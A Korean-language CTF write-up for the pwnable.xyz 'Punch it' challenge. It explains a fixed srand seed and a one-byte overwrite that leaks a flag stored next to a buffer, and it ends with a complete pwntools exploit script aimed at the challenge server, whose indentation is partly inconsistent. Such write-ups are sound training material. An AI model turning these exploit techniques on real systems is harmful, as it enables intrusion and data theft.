블로그 이전했습니다. https://jeongzero.oopy.io/
[pwnable.xyz] Punch it
본문 바로가기
워게임/pwnable.xyz

[pwnable.xyz] Punch it

728x90

 

1. 문제


1) mitigation 확인 

요번에는 다 걸려있다. 쉽진 않을꺼같기도하.. 

 

 

2) 문제 확인 

바이너리를 실행하면 게임을 시작할껀지 묻는다. 그다음 이름을 입력하게 되고, 게임 캐릭터를 선택한다. 잠시후 Loading이 되면서 게임이 시작된다. score는 0부터 시작되고 gimmi pawa 문구와 함께 입력을 하나 받는다. 입력받는 값에 따라서 게임이 진행된다. 

 

 

3) 코드 확인 

  • main() 함수
    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      size_t v3; // rax
      unsigned int v5; // [rsp+0h] [rbp-10h]
      unsigned int v6; // [rsp+4h] [rbp-Ch]
      unsigned __int64 v7; // [rsp+8h] [rbp-8h]
    
      v7 = __readfsqword(0x28u);
      setup(argc, argv, envp);
      motd_select_character();
      do
      {
        while ( 1 )
        {
          while ( 1 )
          {
            printf("score: %ld\n", score);
            printf("gimmi pawa> ");
            v5 = 0;
            v6 = rand();
            _isoc99_scanf("%u", &v5);
            getchar();
            if ( v5 != v6 )
              break;
            puts("draw");
            printf("Save? [N/y]");
            if ( getchar() == 'y' )
            {
              printf("Name: ");
              v3 = strlen(buf);
              read(0, buf, v3);
            }
          }
          if ( v5 <= v6 )
            break;
          ++score;
        }
      }
      while ( v5 >= v6 );
      printf("Sowwy, pleya %s luse, bay bay", buf);
      return 0;
    }

    처음에 motd_select_character 함수가 호출된다. 게임을 위한 세팅이다. 해당 함수가 호출이 끝나고 반복문이 돌면서 게임이 시작된다. rand() 함수로 랜덤값을 v6에 저장하고 scanf로 입력한 값을 v5에 넣고 두 값을 비교한다. 

     

    v5가 더 크다면 score를 증가시키고, 동일하다면, 초기 buf에 저장했던 이름을 수정가능하다. 만약 v6이 더크다면 buf에 담긴 내용을 출력하고 종료가 된다. 

     

     

  • motd_select_character() 함수
    int motd_select_character()
    {
      int v0; // eax
      int i; // [rsp+4h] [rbp-Ch]
      int fd; // [rsp+Ch] [rbp-4h]
    
      printf("\n\tLet's play a punching game? [Y/n] : ");
      if ( getchar() == 110 )
        exit(1);
      getchar();
      printf("Name: ");
      read(0, buf, 0x2CuLL);
      printf("Select your character: \n\t1. Goku\n\t2. Saitama\n\t3. Naruto\n\t4. Toriko\n> ");
      v0 = getchar();
      if ( v0 == '2' )
      {
        choose_saitama();
      }
      else if ( v0 > '2' )
      {
        if ( v0 == '3' )
        {
          choose_naruto();
        }
        else
        {
          if ( v0 != '4' )
            goto LABEL_14;
          choose_toriko();
        }
      }
      else
      {
        if ( v0 != '1' )
        {
    LABEL_14:
          puts("Invalid");
          goto LABEL_15;
        }
        choose_goku();
      }
    LABEL_15:
      srand(game_t);
      printf("Loading");
      for ( i = 0; i <= 4; ++i )
      {
        putchar(46);
        sleep(1u);
      }
      putchar(10);
      fd = open("./flag", 0);
      if ( fd == -1 )
      {
        puts("error");
        exit(1);
      }
      read(fd, &flag, 0x80uLL);
      return close(fd);
    }

    이 함수에서 초기에 Name을 입력하게 된다. 입력한 문자열을 Buf라는 bss 영역에 존재하는 변수에 들어간다. 그다음 1 ~ 4 메뉴에 해당하는 캐릭터를 선택하게 된다. 4개중 하나만 확인해보자 

     

    int choose_toriko()
    {
      int fd; // [rsp+Ch] [rbp-4h]
    
      fd = open("/dev/urandom", 0);
      if ( fd == -1 )
      {
        puts("error");
        exit(1);
      }
      read(fd, &game_t, 3uLL);
      return close(fd);
    }

    랜덤값을 game_t이라는 변수에 넣는다. 이 변수 역시 bss 영역에 존재한다. 다시 motd_select_character() 함수로 돌아가자. 

     

    1 ~ 4 번 메뉴중 하나를 선택하게 되면 어쨋든 랜덤값이 game_t 변수에 들어간다. 그리고 srand에 인자로 game_t을 주어 시드를 주게된다. 그다음 로딩이 된 후에, flag 파일에 들어있는 내용을 flag라는 변수에 read함수를 이용하여 넣게 된다.  

     

    그렇다면 game_t, buf, score, flag 변수를 한번 확인해보자. 

    4개의 변수는 bss 영역에 연속으로 이어져 있다. flag 변수에 저장된 플래그를 읽는것이 최종 목적이다. 

 

 

2. 접근방법


우선 우리가 게임에서 지게 되면 즉, v6 값이 더 크다면 while을 빠져나와 buf에 담겨져 있는 문자열을 출력하게 된다. buf는 44바이트 배열이다. flag 변수까지의 차이는 0x34 만큼이므로, score 영역을 널 값이 아닌 값으로 전부 채우게 된다면 flag를 읽을수 있을 것이다. 

 

하지만 v6은 랜덤값으로 현재 game_t에 들어있는 값을 시드로 돌아간다. 따라서 랜덤값을 고정시켜야한다. 초기에 game_t 영역은 0으로 초기화 되어있다. 만약 세팅함수에서 캐릭터 선택시 1 ~ 4 번이 아닌 다른 값을 선택하게된다면, game_t에는 그대로 0으로 값이 들어가 있을테고, 

 

srand(0) 이렇게 되어 시드가 0으로 된다. 따라서 랜덤값을 고정으로 출력시킬수 있다. ctype 모듈을 이용해서 libc를 링킹하여 rand함수를 사용하였다. 

 

문제 자체는 간단하다. 초기에 name을 44바이트 꽉채운 뒤에, win 상태를 만들면, score가 1 증가한다. 그다음 draw 상태를 만들게 되면 Name을 strlen(buf) 만큼 수정 가능한데,  

현재 buf(44바이트) + score(1바이트) = strlen(buf) => 45바이트

 

이렇게 되어 한바이트를 더 번경가능하다. 여기서 score 부분을 0xff으로 변경한뒤에 win 상태를 만들게 되면, score가 1 증가하여 score 값은 0x100이 된다. 이런식으로 win과 draw를 반복하여 score 값을 채우면 끝이다. 여기서 부터는 약간의 프로그래밍적으로 코딩을 하면 좋다.  

 

(사실 여기서 부터 롸업을 봤다. 참고한 사이트는 다음과 같다) 

 

위 사이트에서 아주 설명이 잘되어있다. 표로 설명되어있는 부분이 있는데 이 부분이 많이 도움이 되었다. win과 draw의 반복되는 루틴을 파악하여 이를 코드화 시키는 것이 중요한다. 

 

이해를 더 쉽게 하기 위해 참고 사이트처럼 직접 표를 만들어 보았다. 처음에 win함수가 한번 실행되게끔 한 뒤에 시작해야 한다. draw, win, win 을 계속 돌리면 되는데, 여기서 관건은 draw 상태 만족시 score에 0xff를 언제, 몇번 입력을 해줘야 하는지 패턴을 찾아야 한다. 

 

위 초록부분이 바로 스코어에 0xff가 들어가는 부분이다. 한번 들어갈 때도 있고 두번 , 세번 들어갈때도 있다. 여기서 중요한 부분은 draw 상태가 만족되기 직전 score 즉, win 상태가 끝나고 반복문을 돌아 score가 계산됬을때! 를 기준으로 삼으면 된다. 

 

strlen은 널바이트를 만나기 직전까지를 카운트하므로, 아까 말한 draw 상태 직전 score에서 맨 하위 바이트부터 널체크를 한다. 만약 0x0101 이 score라고 가정했을때, 이 상태는 하위 3번째 바이트 부터 널이 나옴으로 이때의 draw 상태의 0xff 개수는 *2가 되는 것이다. 이를 쉬프트 연산으로 나타내면 다음과 같다 

 

score & (0xff << i*8)

i를 0부터 시작하면서 맨처음에  

  • score & 0
  • score & 0xff
  • score & 0xff00
  • score & 0xff0000

요런식으로 값을 널이 나올때 까지 i를 돌리면 된다. 

 

이렇게 반복문을 돌리고, score가 0x101010101010101 일때 break로 반복문을 빠져나와, v6보다 작은 값을 입력하면 buf에 있는 내용을 출력하면서 뒤에 score, flag 부분까지 다 출력될 것이다. 

 

3. 풀이


최종 익스코드는 다음과 같다 

from pwn import *
from ctypes import *

#rand__ = CDLL('./test.so')

p=remote("svc.pwnable.xyz",30024)
#context(log_level="DEBUG")
#p=process("./challenge")
lib = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
#gdb.attach(p,'code\nb *0xf29+$code\n')


lib.srand(0)
p.sendlineafter("[Y/n] : ","y")
p.sendafter("Name: ","B"*0x2c)
p.sendafter("> ","5")

def win():
	rand = lib.rand()
	#log.info('rand : '+hex(rand))
	p.sendlineafter("pawa> ",str(rand+1))
def draw():
	rand = lib.rand()
	#log.info('rand : '+hex(rand))
	p.sendlineafter("pawa> ",str(rand))
	p.sendafter("[N/y]","y")


i=0
score=0
while(1):
	#if score>=0x101010101010101:
	#	break;
	i=0
	win()
	#log.info("win::"+str(score))
	
	p.recvuntil("score: ")
        score=int(p.recvuntil("\n")[:-1])
	log.info("score="+hex(score))
	if score ==0x101010101010101:
		break;
	while (score & (0xff << i*8)) != 0:
		i+=1
		#log.info("==="+str(i)+"====")
		#log.info("fuck::"+str(score))
	#log.info('draw'+'('+str(i)+")")

	draw()
	p.sendafter("Name: ","B"*0x2c+"\xff"*i)
	p.recvuntil("score: ")
        score=int(p.recvuntil("\n")[:-1])
        log.info("score="+hex(score))
	win()
	p.recvuntil("score: ")
        score=int(p.recvuntil("\n")[:-1])
        log.info("score="+hex(score))
	#score=score+1
	#log.info("win::"+str(score))

p.sendafter("pawa> ","0")
p.interactive()

 

 

 

4. 몰랐던 개념


  • 몰랐던 개념을 없었지만, 뭔가 코딩에서 막힌 기분이다.
  • 젠장

 

728x90

'워게임 > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] badayum  (0) 2020.05.12
[pwnable.xyz] password  (2) 2020.05.12
[pwnable.xyz] catalog  (0) 2020.05.10
[pwnable.xyz] PvP  (0) 2020.05.09
[pwnable.xyz] bookmark  (0) 2020.05.08